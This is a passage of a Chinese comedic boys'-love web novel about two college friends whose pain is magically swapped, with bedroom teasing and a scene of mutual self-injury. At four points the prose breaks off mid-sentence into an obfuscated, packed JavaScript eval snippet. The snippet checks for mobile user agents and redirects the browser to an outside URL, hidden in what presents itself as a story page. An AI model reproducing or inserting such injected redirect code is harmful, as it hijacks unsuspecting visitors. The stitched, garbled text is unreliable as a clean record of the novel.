萧驰焕被萌得不行,忍不住摸出手机,对着顾檐声漂亮的小脸蛋儿拍了一张照片。 熟练地上传到美图秀秀。 调色,加滤镜,拉数值。 然后把原图和修好的美照一起保存到一个名叫【最好的朋友】相册里。 最后打开顾檐声的聊天背景,把初中时候的顾檐声换下来,果断把新照片换上去。 做完这一切,萧驰焕收起手机,爱不释手地戳了戳顾檐声的脸。 还是和记忆里一样,滑溜溜、软乎乎的,好像他小时候最爱吃的果冻。 话说他小时候真把顾檐声的脸当果冻,每天晚上一起睡觉的时候都要抱着啃,就像有的小孩几岁了都要含着奶嘴才能睡着一样,他也必须贴着顾檐声的脸才睡得着。 不过小孩子的皮肤嫩,很容易用力过猛。 记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775621|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他有一次就啃得太狠,不小心把顾檐声脸上的毛细血管吸破了,害顾檐声足足一个星期脸上都顶着红印子,然后他就被他妈妈狠狠揍了一顿。 小时候的他多自由啊,想怎么摸就怎么摸,想亲多久就亲多久,如今竟是沦落到要大半夜像偷情的奸夫一样翻墙爬床。 真是世风日下,人心不古! 萧驰焕的心中不免泛起一丝酸涩,于是张开血盆大口,在顾檐声白嫩的脸蛋上恶狠狠地啃了一口。 “唔……”顾檐声眉毛和眼睛一起皱起来,嘴唇蠕动着发出一声低喃。 顾檐声正在做梦。 他梦到萧驰焕忽然约他去开房,他心中又喜又羞,扭扭捏捏地跟着去了,结果萧驰焕在床上脱下衣服,里面赫然是一身荧光绿的紧身衣,在黑暗里散发着闪瞎狗眼的荧光。 正当他呆愣时,萧驰焕忽然从胸大肌里掏出一个快板,然后一边骑在他身上打快板,一边来了一段单口相声—— 打东边来了个傻瓜,手里提拉着五斤粑粑; 打西边来了个窝瓜,腰里别着个呲花。 提粑粑的傻瓜想换窝瓜的呲花; 别呲花的窝瓜不愿换傻瓜的粑粑。 傻瓜急,抄起粑粑砸窝瓜; 窝瓜恼,摘下呲花呲傻瓜。 不知是傻瓜用粑粑砸了窝瓜, 还是窝瓜用呲花呲了傻瓜。 傻瓜回家吃粑粑, 窝瓜回家噗呲噗呲炸呲花; 你问我是傻瓜还是窝瓜? 我是你爸爸! 顾檐声气得要死!当场就在酒店的床上跟萧驰焕打了起来。 一边打一边骂——我看你像坨粑粑! 打着打着,萧驰焕忽然变成了一条傻里傻气的哈士奇,冲上来在他脸上狠狠咬了一口。 顾檐声直接原地爆炸!这傻狗不跟他上床就算了,居然还敢咬他? 绝交!他要跟他绝交! 顾檐声在床上拼命蹬着腿,干架似的,蓦地睁开眼睛,对上了一双近在咫尺的明亮眸子。 顾檐声差点吓晕,一声惊呼还没叫出来,就被萧驰焕眼疾手快地捂住了嘴。 “宝贝儿,你也不想被室友们发现你床上多了一个男人吧?” 暧昧的低语带着熟悉的气息吞吐在耳畔。 顾檐声心惊肉跳,狂翻白眼,一瞬间魂儿逗快没了。 想死。 鬼知道他大晚上睁开眼睛就看到一个大活人躺在自己身边有多惊悚! 萧驰焕这狗东西故意的吧?不就是白天没搭理他吗?至于晚上不睡觉也要跑来吓他吗?说好的从来不熬夜呢? 有病吧! 顾檐声用力掰嘴上的手,结果这人大晚上还一身的牛劲儿,根本掰不开。 他只好用眼神警告他:给爷松开! 萧驰焕跟他无障碍沟通:“不行,我松了你就要骂我了。” 顾檐声忍不住又翻了一个白眼。 不能用手是吧?那他就用别的好了。 下一刻,萧驰焕忽然感觉手掌心滑过了一道濡湿,细密的痒意惊得头皮一阵麻痹。 萧驰焕惊恐地收回手,然后整个人就像定住了一样,盯着自己的手掌心不动了,立体的五官在黑暗里显得有些阴沉。 顾檐声内心顿时一个咯噔,这人恐同也不是一两天了,他刚刚的行为对一个直男来说,就是明晃晃的调戏,萧驰焕一定觉得很恶心吧? 想到这里,顾檐声身上都有些发凉,他慌张地舔了一下嘴唇,正想着要不道个歉,就看见萧驰焕紧接着把手掌放到鼻子下面闻了闻,甚至还想伸出舌头舔。 淦! 顾檐声啪一声把萧驰焕的手从他的嘴巴跟前打下来,一把抓过来,在自己被子上疯狂擦拭,满脸通红地骂他:“你有病啊?你是狗吗?怎么什么都闻啊!” 闻就算了,居然还想……想…… 不行了不能细想,再想要红温了! 萧驰焕眼神清澈又懵懂,像极了一个愚蠢的直男:“刚刚那是什么?” 顾檐声脚趾抓着床单,羞耻得不敢抬头看萧驰焕一样,只能闭着眼睛胡言乱语:“是你尊敬的爸爸施舍给儿子的舔犊之情。” 万万没想到的是,听完这话的萧驰焕立马把掌心再次伸到顾檐声嘴边,澄澈的双眼里迸射着奇异的光芒,开口就来:“爸,再来一下?” 顾檐声真想表演一个空气掉凳,他又一巴掌拍开他的手,差点没绷住:“你当再来一瓶呢,来个屁来,赶紧给我滚蛋,我要睡觉了。” 他说着,就把萧驰焕往下踹。 萧驰焕把他的脚抱在胸前:“别啊,我真有事跟你说,看我真挚诚恳的大眼睛?” 说着,萧驰焕把脸凑到顾檐声面前,拼命眨眼睛。 顾檐声捂着耳朵闭着眼睛,假装自己是一个小聋瞎:“不听不听王八念经,不看不看公鸡下蛋!萧驰焕就是乌龟王八公鸡蛋!” 萧驰焕:“……” “好嘛,这是你逼我的!”萧驰焕突然抱住顾檐声光溜溜的脚丫,活动了一下五指,开始贱兮兮地挠他脚底板儿。 下一秒,萧驰焕:“搞什么啊救命好痒啊哈哈哈哈哈不要啊!” 顾檐声:“……” 萧驰焕:“……” 6. 外星人vs倒签 一分钟后,两人一人搬了一把椅子,在漆黑的卫生间里偷偷摸摸地幽会。 顾檐声把手机屏幕设置成永久亮屏,放在洗手台上当光照,回到椅子上心累地坐下来。 见萧驰焕摩拳擦掌地想说话,他忽然抬手做了一个打住的动作:“慢着,先老实交代,你是怎么进来我寝室的?” 他们宿舍楼根本没有室外阳台,想进来就只能爬空调外机,但这里可是五楼啊! 空调外机不知多少年没检修了,去年冬天下冰雹的时候,机子还在风里疯狂晃悠,几哇叫了一晚上,那就是在玩命! 想到这里,顾檐声面色略微有些沉重。 这大傻子最好是偷了宿管或者他们寝室谁的钥匙! 然而很不幸,他对萧驰焕还是太了解了。 听完顾檐声的话,萧驰焕整个人顿时一僵,手在身上挠来挠去,眼珠仓皇地到处转溜,看天看地就是不敢看顾檐声的脸。 顾檐声一看他这副贼眉鼠眼的样子,死如死灰地抬起手掌捂住了眼睛。 不敢睁开眼,希望是他的幻觉。 “其实不是你想的那样,”萧驰焕在椅子上扭来扭去,还想再挣扎一下,“声声,对不起,有件事情我一直没有告诉你,其实我一个天使,一直有一双隐形的翅膀……” “你滚,我这里不欢迎鸟人!”顾檐声突然爆发地冲上去骑在萧驰焕的跨上,死命掐萧驰焕的脖子,“你他喵翅膀硬了,会飞了是吧?你当这儿是咱家呢,阳台还特意挨着给你翻,想死别死在我楼下行不行?晦气死了!” 说实话,萧驰焕大半天跑到他床上装鬼他都没有这么生气! 但此时此刻,顾檐声真正感受到了什么叫做血压飙升! 萧驰焕脑袋被摇得在空中乱晃:“嘘,嘘——声声你小声点,小心被你室友听到了!” 就在这时,诡异的事情发生了。 顾檐声咽喉忽然传来一阵窒息,掐得他狂翻白眼,而被掐的萧驰焕却跟个没事人一样,天真无邪地望着他。 顾檐声:“……” 萧驰焕:“……” 顾檐声颤巍巍地松开手,跌跌撞撞地后退,猛地打了一个寒颤。 有……有鬼……! “顾檐声,你也察觉到了吧?”萧驰焕在黑暗中一步步向顾檐声贴近,将他推在墙上,在他耳畔轻轻呼出一口气。 轻飘飘的凉气扑在耳廓,顾檐声脖颈的皮肤一个激灵,他的瞳仁本能地张开,舔了一下干涩的唇,呼吸都停止了:“你……你的意思是……我们真的见……”鬼了? 萧驰焕:“没错,我一直怀疑,我俩的真实身份其实是外星人!” 顾檐声:“……” 顾檐声:“啊?” 萧驰焕眸子闪烁着诡异的光芒,双手握住顾檐声的手,激情澎湃地说:“顾檐声,你也发现了吧,我俩的身体不太对劲,我合理猜测咱俩的妈妈是失落的外星贵族,在一场星球大战中意外流落到地球,从此隐姓埋名,伪装成土著,甚至还跟地球人爸爸结婚生子,而现在我们已经觉醒了外星人的种族天赋。” 萧驰焕夸张地捂住嘴:“震惊,我们竟是外星混血!” 顾檐声:“……” 有萧驰焕在,他真是怕个der啊,就算鬼来了都得被萧驰焕整活过来。 萧驰焕:“顾檐声,一起去坐UFO吧!” 顾檐声服了:“我坐你几把坐!” 萧驰焕愣了一下,下意识低头看了一眼。 顾檐声顺着萧驰焕的视线看下去,脸颊腾地爆红。 不是,他不是这个意思啊!这只是一个普普通通的脏话,能不能不要上升定义……! 顾檐声有嘴说不清,在萧驰焕纯洁的目光下越想越红温,什么恐怖氛围都没有了。 死嘴你真该死啊! 顾檐声心理素质极强,短短几秒就调整好了心态,整个人死死的很安心:“我觉得我们不是外星人,是中邪了,你看,每次你被打的时候,疼的都是我,我摔了一跤,还活蹦乱跳的,反而是你疼得要垫枕头。” 萧驰焕一愣:“你怎么知道我垫了枕头?” 顾檐声无视:“总之,我有个猜想,就是我俩可能体感互换了,说白了就是我受伤你疼,你受伤我疼。” 萧驰焕还挺遗憾:“啊,这么说来,我真不是铁蛋啊。” 顾檐声嘴角抽了抽,忽然想起他在学校论坛里刷到的那个令人恶寒的古早神贴,脸上的表情忽然变得有些古怪:“不是吧?难道那个见鬼的古老校园传说是真的?” 萧驰焕来劲了:“什么传说?你果然知道点什么吧?” “等下,我给你找找,”顾檐声一把抓过洗手台上的手机,打开论坛后,快速用关键词搜索了一下,“找到了,就是这个。” 他心里暗忖,他那天晚上到底是有多无聊,居然硬生生翻了两千多页。 要是早知道会中邪,他就不手贱了! 萧驰焕脑袋凑过去,读道:“乃们有木有听说过……” 顾檐声拍了一下他的后脑勺:“不用每个字都读出来。” 他往下面翻了翻:“重点是主楼这段,周五下午5点55分55秒,在5楼男寝澡堂那什么就能获得什么狗屁哲学大神的神秘魔法。” 读到这里,顾檐声震怒。 处男招谁惹谁了?怎么着,这年头当个处男还要降下天罚? 哪路神仙管这么宽啊,该不会是自己找不到对象就心理变态了吧? 萧驰焕还挺高兴,虽然铁蛋没捞到,但魔法蛋也不错啊:“小小焕出息了,居然还背着爸爸学会魔法了!” 顾檐声深觉人类的欢喜并不相通,可能因为萧驰焕不是人:“你要觉得魔法比较好听,那就暂且称它为魔法吧,但是这个魔法严重影响了我们的私人生活,所以我们还是尽量想办法找找有没有恢复正常的方法,否则真要按照它说的,那在我俩谈恋爱之前,都恢复不了了……” 说到这里,顾檐声不免停顿了一下。 首先,冲他喜欢男人这一点,他就没那么容易谈恋爱,更不可能为了解除什么狗屁魔法特意跑去约,脏死了,他也不可能接受。 而且也不知道是要两个人都脱处,还是只用一个人就可以了,萧驰焕他也管不了。 最坏的可能,谁脱处了谁解除,另一个人却还在遭罪。 到那时候,不会萧驰焕跟别人上床,他还能感同身受吧…… 萧驰焕见面前人说着说着,突然沉默,然后也不知道在想什么,脸越来越阴沉,后槽牙也咬得越来越紧。 他忍不住伸手在顾檐声的眼前晃了晃:“摩西摩西?顾檐声的魂儿还在吗?” 顾檐声忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775622|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唰一下盯住他,阴鸷的眼神像是要吃人。 萧驰焕:“……” 萧驰焕弱小又可怜地抱住了自己。 干嘛突然用这种眼神看他?他又怎么他了? 顾檐声沉默地收回目光,只淡定道:“在找到解决办法之前,我们最好对这个互换的阈值有一个明确认知,平时方便规避,比如我现在打我自己一下,你疼吗?” 说完,顾檐声就毫不留情地往自己的腹部揍了一拳。 因为心里赌气,下手不免没轻没重了一点。 果然,萧驰焕立刻痛呼一声,弯下腰,莫名其妙地看向他:“搞什么啊?一言不合就开打?我刚才也没惹你吧?” 一拳头出去,顾檐声心中的郁气一下子疏解了许多,耸耸肩道:“做个小实验而已嘛,别在意哈。” 萧驰焕看他这欠欠儿的小模样,顿时了然。 这人绝对是故意的! 萧驰焕揉了揉肚子,抬起头,朝顾檐声咧嘴一笑:“做个小实验对吧?好啊,等着。” 言罢,萧驰焕用力甩了自己一耳光! 啪的一声脆响。 两人同时被打歪了头! 萧驰焕的脸瞬间红肿起来,顾檐声的脸上则传来一阵火辣辣的痛,这是真一点没留手啊。 顾檐声缓缓抬手捂着脸,像一台僵硬的机器一样,咔嚓咔嚓一点一点地扭过头,难以置信地望向他,脸颊上的肌肉隐约在颤抖:“你……你居然敢打我?” 萧驰焕翘着二郎腿,晃着脚,嘴角勾起玩世不恭的弧度,故意拖着腔调:“这位同学说话注意点儿,别碰瓷啊,我打的明明是我自己,什么叫我打你啊,管你什么事啊?” 顾檐声捂着胸口,气得急喘两下,脸颊反复鼓起来又瘪下去,像一只盛怒的河豚,眼眶都泛起了热潮,气急败坏道:“你这个大混蛋!我打死你!” 话落,他就使劲儿掐了一下自己的大腿。 萧驰焕的二郎腿瞬间不翘了,他龇牙咧嘴地弯下腰,吃痛地揉了揉大腿根:“好好好,这么玩儿是吧?” 然后他就发狠地咬了一下自己的舌尖。 顾檐声顿时痛得直抽气,化身一个暴躁的霸王龙,在地上暴跳如雷,抬脚就往墙上踢过去。 脚尖传来钻心的痛,萧驰焕噗通一声跪倒在地上,抱着自己的脚痛得直掉眼泪。 他抬起一双猩红的眼,突然抬手,狠狠抠了一下自己头发里长出来的一个毛囊炎。 顾檐声的头皮突然炸开一片极为尖锐的痛,整个脑部神经都像被穿透了一样,眼前闪过一秒白光,差点掀翻他的天灵盖。 他面部五官都扭曲了,突然缓缓将一只手放在了另一只手的手指上,只见那根手指上,赫然长着一根纤长而完美的倒签! 来啊,互相伤害啊! 萧驰焕通红的眼底终于泛起一丝惊慌失措,他绷紧了下颌线,心脏都在微微颤抖: “等一下,别别别,顾檐声,你冷静一点,不要啊——” 然后顾檐声已经杀红了眼。 下一秒,顾檐声在萧驰焕的哀求声里猛地撕开了那根倒签。 一瞬间,手指鲜血淋漓。 针刺般的痛从手指一路贯穿了心脏,萧驰焕大脑似乎传来尖啸,耳畔响起嗡鸣,豆大的泪珠伴随抖动的手一颗颗掉下来。 痛!!! 7. 臭狗屎vs八爪鱼 半小时后,卫生间的地板砖上布满了萧驰焕的腿毛,其间还夹着几根顾檐声的头发。 不用怀疑,都是他们自己扯的。 两个人都靠坐在墙边气喘吁吁,赤红的眼睛里充满了血丝,居然还没分出个胜负。 顾檐声觉得这样下去没完没了了,不着痕迹地打量了一下萧驰焕的脸色,试探着发出了一声示好:“要不……咱俩今天就算平手吧?” 萧驰焕就等着他这句话,飞快道:“那我俩就都算赢了。” 生怕再慢一秒顾檐声就反悔似的。 成功达成共识,两个人都松了一口气。 不过刚才也没白打,至少他俩还真试出来了点儿东西。 比如普通的触碰没事,一旦感官达到了某个强度,就会体感互换。 真正意义上的“伤在你身,痛在我心”。 顾檐声看了一眼手机,都快凌晨三点了。 都怪萧驰焕,害他一晚上没睡! 好在明天……不,现在已经是今天了。 好在今天周日,不用上课,早上还能补觉。 顾檐声打了一个大大的哈欠,眼皮子都快掉到脚背上了:“事情说完了,可以滚了吧,别耽误我睡觉。” 萧驰焕搓手手:“那什么,来都来了……” 顾檐声想都不想地打断他:“不行不可以不可能,你在想peach,滚回你自己寝室睡。” 萧驰焕委屈道:“我还什么都没说呢。” 顾檐声直接把他往门外撵,低声说:“你当我第一天认识你吗?你撅个屁股我就知道你要放什么味儿的屁,赶紧给我滚蛋!” 萧驰焕一路被顾檐声干脆利落地推出了宿舍大门,再回头时,门已经在他背后关上了,还真是一点情面都不留啊。 萧驰焕摸摸鼻子,只好失落地走到自己宿舍门前,然后伸手往口袋里一摸—— 空空如也。 太好了,他没带钥匙! 萧驰焕立马蹦蹦跳跳地跑回隔壁门口,开始用狗爪子呼哧呼哧地刨门。 寝室里,顾檐声刚爬上床,就听到门外传来一串催命鬼一样的挠门声。 他太阳穴突突直跳,深吸一口气,迅速下床开门,门外果然是萧驰焕那张讨人嫌的傻脸。 “你他喵最好是真有事儿……” “我钥匙掉寝室里了!”萧驰焕飞快解释,然后抬起两只手,朝顾檐声可怜巴巴地撮了两颗迷你小爱心,“亲爱的,你应该不会那么狠心把我一个人孤零零地丢在走廊吹冷风吧?” 顾檐声:“……” 说实在的,他第一反应就是不信,毕竟这人从小就喜欢用钥匙掉家里的借口睡他的床,前科拉出来能装满一火车,他信他个鬼。 萧驰焕一看就知道他在想什么,当即大咧咧地张开双臂:“不信你检查!” 顾檐声锐利地扫视了他一眼,还真上手在萧驰焕身上摸起来。 上衣口袋没有,裤子口袋也没有,腰间也没藏啊。 难道这回是真的? 萧驰焕安静地低头望着在自己身上摸来摸去的少年,从这个角度看,好像顾檐声主动投怀送抱似的,他本能地咽了一口口水,偷偷摸摸地环住顾檐声的腰:“怎么样,我没骗你吧?” 顾檐声登时打了一个激灵,一个后撤,跟他警惕地拉开距离。 萧驰焕顿时失望地眨巴了两下眼睛。 顾檐声凌厉的目光激光一般扫过萧驰焕的全身上下,路过某处,微微一顿,然后就忍不住停留在了上面。 该不会藏在这儿吧?不能吧? 萧驰焕愣了一下,随即气笑了:“不是,我在你心里到底是个什么形象啊?” 他撩起下衣摆,露出线条流畅漂亮的人鱼线和一小片块垒分明的薄肌,挺腰的姿态活脱脱的耍流氓:“要不你抓一下试试?” 顾檐声本来还挺困,闻言瞬间醒了:“还有这种好事?” 萧驰焕:“嗯?” 顾檐声:“……我是说,这也不是你做不出来的事啊。” 萧驰焕立马反驳:“我不可能把钥匙藏在这儿的,要是冻着我的大宝贝了怎么办?” “……”顾檐声服气了。 他到底没敢真上手抓,视线下滑,落在萧驰焕的脚上,抬抬下巴说:“把鞋子脱了看看。” 萧驰焕知道这是最后一关了,连忙笑眯眯地把鞋子脱了。 顾檐声亲眼看着他把两只鞋子依次举起来倒了倒,点点头说:“行吧,我信你了。” 话落,就在萧驰焕惊喜的目光下,径直转身走进寝室,行云流水地关上了门。 萧驰焕:“?” 不是,这人怎么这样啊! 萧驰焕立马又开始哭唧唧地蹲在门口刨门。 顾檐声透过猫眼将萧驰焕的表情尽收眼底,躲在门后面笑够了才整理好表情,若无其事地打开门。 萧驰焕赶紧趁机遛了进去,刮了一下顾檐声的鼻子,轻嗤:“真是一个小调皮。” 顾檐声有点恶心:“要不你还是滚吧。” 萧驰焕一秒滑跪:“对不起我错了!” 再扯下去都要天亮了,顾檐声没再跟他闹,很干脆地带着萧驰焕上了床,不管心里真实想法如何,至少面上看着满脸不情愿,跟萧驰焕约法三章:“事先说好,睡觉就好好睡,不许随便碰我身体的任何部分,不许发出声音,不许趁我睡着偷偷做坏事,包括但不限于偷拍偷摸偷亲等等一切流氓行为。” 萧驰焕:“……” 幸好他已经提前做完了! 对此一无所知的顾檐声见这人难得没有提出异议,还挺满意,摊开手掌道:“听懂了的话就把爪子给我。” 萧驰焕连忙把手搭上去。 顾檐声握着狗爪子上下摇晃,一边摸摸他的狗头一边夸赞道:“嗯,不错,真乖。” 萧驰焕一愣,然后才反应过来,嘿,这是把他当狗呢。 算了,狗狗多可爱,这是在奖励他,只要能上顾檐声的床,让他当狗屎他都愿意! 萧驰焕麻溜儿地滑进被子里,高大健硕的体格一下子占了大半张床。 顾檐声不爽地踹了他一脚:“给我往里面去点儿,没事儿长这么大只干嘛?” 萧驰焕于是往里面哼哧哼哧地挪了挪屁股。 顾檐声啧了一声:“你屁股痒吗?能不能麻利点儿。” 萧驰焕委屈道:“再不能往里了,我都快成锅贴了!你看!” 顾檐声见他后背挨着墙,看样子确实不能再挤了,只好作罢,也掀开被子躺了下去。 萧驰焕立马为顾檐声盖好被子,悬在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775623|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾檐声身上的手臂却像被主人遗忘了一样,放在顾檐声肚皮上没拿走,肌肉结实又大块,沉得像块铁。 顾檐声闭着眼睛,一个字:“手。” 过了两秒,肚子上沉重的重量才不情不愿地消失了。 空气重归于静。 顾檐声努力忽略身旁某人,安宁地呼吸。 然而安静没一会儿,某人就把脸埋进被子里深深吸了一口气,变态似的:“声声,你的被窝里好香啊,都是你的味道……” 顾檐声幽幽道:“我要放屁了。” 萧驰焕嗖地把脸撤了出来。 解释一下,他才不是嫌弃顾檐声的屁味儿,他只是怕自己氨气中毒而已! 这回萧驰焕彻底老实了。 月色中天,夜色正浓。 身侧是熟悉的体温和令人安心气息,顾檐声的意识几乎是顷刻间如雾一般散开。 他恍惚回到了遥远而令人怀念的过去,那时他对萧驰焕的感情还没有变质,他还是萧驰焕最好的朋友。 如果人能一辈子都不长大就好了,他就能像现在这样,和萧驰焕静静地互相依偎一辈子。 …… 顾檐声又做梦了。 这回,梦里的萧驰焕变成了一个外星人,经过星球大战后意外流落地球,拖着受伤的身躯晕倒在他家门口。 顾檐声觉得这人长得真好看,做他的那什么奴正合适,就把他捡回了家,取名傻狗,让他给自己暖床。 结果这傻狗不愿意和他上床就算了,居然还跑到他床上疯狂拔腿毛!喵的拔了一床! 顾檐声登时气得跟傻狗打了起来。 这时,傻狗忽然大喊:“我不叫傻狗,我叫臭狗屎!” 然后变成了一只八爪鱼,将顾檐声从头到脚都地紧紧缠住了。 而躺在床上闭着眼睛的顾檐声忽然感觉自己的喉咙被一双无形的大手锁住了,胸口好像压了一块巨石,胸闷气短,每一口空气都呼吸得十分艰难,浑身一阵阵发汗,跟鬼压床似的。 他痛苦地挣扎了许久,终于在某一个突破了梦魇的壁垒,艰难地睁掀开了眼皮,不出所料地看见萧驰焕整个人都挂在了他的身上。 顾檐声深深地吐出一口浊气,双眼虚无地望着天花板,心累。 他这一天天的,都做的什么神经梦…… 果然,跟萧驰焕这种大傻子待久了,就容易变神经。 顾檐声缓了一会儿,开始不爽地扒拉萧驰焕的四肢。 这人比他重十几斤,脑袋跟个秤砣似的压在他胸口上,铁钳一样的手臂抱着他的腰,一条腿还搭在他肚子上。 喵的,重死了。 难怪他梦里被八爪鱼给活埋了。 就在这时,底下忽然传来室友们的说话声: 禹洪淼:“仙儿怎么睡了这么久?该不是死了吧?” 岑修竹有点惊讶:“啊?我还以为他早就出去自习了,平时他都是第一个起床的啊。” 禹洪淼“嘶”了一声:“你这么一说,我又不太确定了。” 冯萌:“要不把床帘掀个缝儿看看?” 话落,脚步声靠近。 顾檐声瞬间被吓醒了,心脏险些骤停。 卧槽!绝对不能被他的室友们发现他床上藏了一个男人!那个人还是萧驰焕! 8. 气泡音vs色令智昏 顾檐声连忙装模作样地咳了两声,同时假借翻身的动作,一把将睡成一头死猪的萧驰焕蒙进被子里。 他的眼睛一眨不眨地盯着床帘的缝隙,掌心紧张得渗出汗来。 冯萌的手正好伸到帘子口,听到顾檐声突然发出的声音,吓得飞快把手缩了回去:“卧槽,顾檐声你还活着啊!吓死我了!” 顾檐声捂着怦怦直跳的心口,心想他才是真的快被吓死了好吗?差点清白不保! 禹洪淼在下面问:“仙儿,你醒了吗?我们正准备去食堂吃饭,要等你一起吗?还是我们帮你带啊。” 吃饭? 顾檐声脑子还有点懵。 这是吃的早饭还是午饭啊? 他下意识点开手机瞄了一眼,淦,这都快下午一点了! 大好的周末,一上午居然就这么没了!都怪萧驰焕! 顾檐声撒气似的踹了一脚身旁鼓鼓囊囊的大鼓包,郁闷地说:“那就麻烦你们帮我带一下吧,我出门可能还得点时间,就不让你们等了,我要红烧茄子,土豆炖牛腩,蚝油生菜,再来个荷包蛋,饭盒在我柜子底下,回来给你们转钱,谢了。” 禹洪淼:“哎呀客气什么,咱们谁跟谁,保证完成任务!” 床下传来翻找抽屉的声音,岑修竹问:“对了,仙儿,你这会儿不出宿舍吧?” 顾檐声笑道:“放心吧,一会儿给你们开门。” 冯萌立刻把好不容易在裤子口袋里找出来的钥匙丢回了桌子上,笑嘻嘻道:“太好了,那我就不带钥匙了。” 室友们走动的声音从帘子下面一路去了门口,顾檐声顺着声音的方向做贼似的爬到床尾,趴在床上悄悄将帘子底部撩开一个缝。 他们正在门口换鞋子,叽叽喳喳地聊着天,顾檐声在心里默默祈祷他们动作快点。 然而,就在室友们即将出门的那一刻,顾檐声的屁股后面忽然传来一道低沉沙哑的嗓音:“唔……好闷啊……” 顾檐声心脏猛地一跳,脑子还没反应过来,整个人已经飞快扭身扑到身后,泰山压顶般压在萧驰焕身上,闷住了萧驰焕的头。 萧驰焕一睡醒就被少年埋胸了,很是懵逼了一会儿,朦胧的眼神逐渐清明,总算是清醒了。 他眨了眨眼睛,顺势用粗壮的手臂搂紧了少年的腰,将脸埋进少年的胸里狠狠蹭了蹭,低哑的嗓音沙沙的,带着浓浓的撒娇的意味:“早啊,亲爱的。” 顾檐声当场就麻了半边身子,胸口火辣辣地发烫,竟然凭空生出一种当着室友们的面跟萧驰焕偷情的荒谬而羞耻的既视感。 冯萌门推了一半,忽然说:“仙儿今天的嗓子是不是有点粗啊?感冒了吗?” 顾檐声头皮一紧,浑身都僵硬了起来。 萧驰焕这个罪魁祸首却还跟个没事儿人一样,偷偷摸摸地在顾檐声的腰上捏来捏去。 顾檐声不敢挣扎,只能用手拼命抓住某人的咸猪手,用眼神疯狂警告他不许乱动。 门口,禹洪淼也应和道:“这么一说,这声音确实不太像仙儿,跟换了个人似的。” 岑修竹一脸古怪:“嘶,是我最近碰到萧驰焕的次数太多了吗?怎么感觉听着跟萧老狗怪像的……” 冯萌:“哈哈,总不能萧驰焕就在仙儿床上藏着呢吧!” 顾檐声听得心惊肉跳,鸡皮疙瘩起了一遍又一遍,他僵硬地舔了一下干涩的嘴唇,也不知道怎么想的,忽然张了张嘴,用一种直逼喉咙下限的十分做作的超绝气泡音瓮声瓮气地说:“咳咳,可能是昨天熬夜了,嗓音睡哑了吧,是有点低哈。” 萧驰焕:“?” 什么逼动静? 萧驰焕用一种充满迷茫和不解的眼神呆呆地望着顾檐声。 下一秒,他翻着肚皮倒在床上,笑得想死。 顾檐声脸颊瞬间爆红,他恼羞成怒地用被子捂住萧驰焕的头,把他按在枕头上无声地猛捶。 居然还敢笑?他都是因为谁啊! 好在室友们也只是开玩笑,没真的往那方面想。 冯萌打哈哈:“快别恶心仙儿了,再说下去,他要吃不下饭了。” 禹洪淼:“笑死,谁不知道他们关系最差,你别大中午的就讲鬼故事好吧?我还小,不想这么早就活见鬼。” 顾檐声殴打萧驰焕的动作顿了顿,内心的紧张、刺激、以及那么一点微不足道的害羞在顷刻间荡然无存。 他现在到底在干嘛啊,真以为自己在跟萧驰焕打情骂俏吗? 别逗了。 顾檐声浑身脱力般松了手,忽然觉得挺没意思的。 萧驰焕连忙从被子里拱出来,根本不知道短短几秒,身边某位的内心世界发生了怎么跌宕起伏的变化,还顶着乱翘的呆毛傻乐呢。 顾檐声一看他这副仗着一无所知所以无所顾忌的傻样就来气,忍不住翻了一个大大的白眼,扭过头用后脑勺对着他,看都懒得看一眼了。 萧驰焕:“……” 今天的声声也依然如此变化无常呢。 等室友们一走,顾檐声马上把萧驰焕扔垃圾似的丢了出去。 门一关,顾檐声就靠在在门后,悄悄红了眼眶,又不禁气恼地咬牙。 男子汉大丈夫,就因为这点儿屁事哭,丢不丢脸啊! 门外,萧驰焕忽然觉得心口闷闷的,喉咙像被什么令人哽咽的东西堵住了似的难以喘息。 他皱着眉头,疑惑地揉了揉胸口,忍不住掏出手机啪啪给顾檐声发了一条消息。 【189内向社恐纯情男高】:声声,你床上是不是虫子啊,我睡了一觉之后总感觉身上有点不舒服,要不你一会儿把被子拿出去晒一晒? 门内,顾檐声到底没真哭,他揉了揉泛红的眼睛,又搓搓脸,深呼吸平静了一下,踌躇半秒,还是忍不住透过猫眼往外看了一眼。 萧驰焕似乎有点不甘心被这么干脆地赶出来,在门口又暗搓搓地徘徊了一会儿,这才念念不舍地离开了,一边走,一边按着手机发着什么。 下一刻,顾檐声床上的手机震动起来。 他愣了一下,意识到什么,身体完全不受控制地飞快爬上床,迫不及待地打开手机,一看,原来期待的表情立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 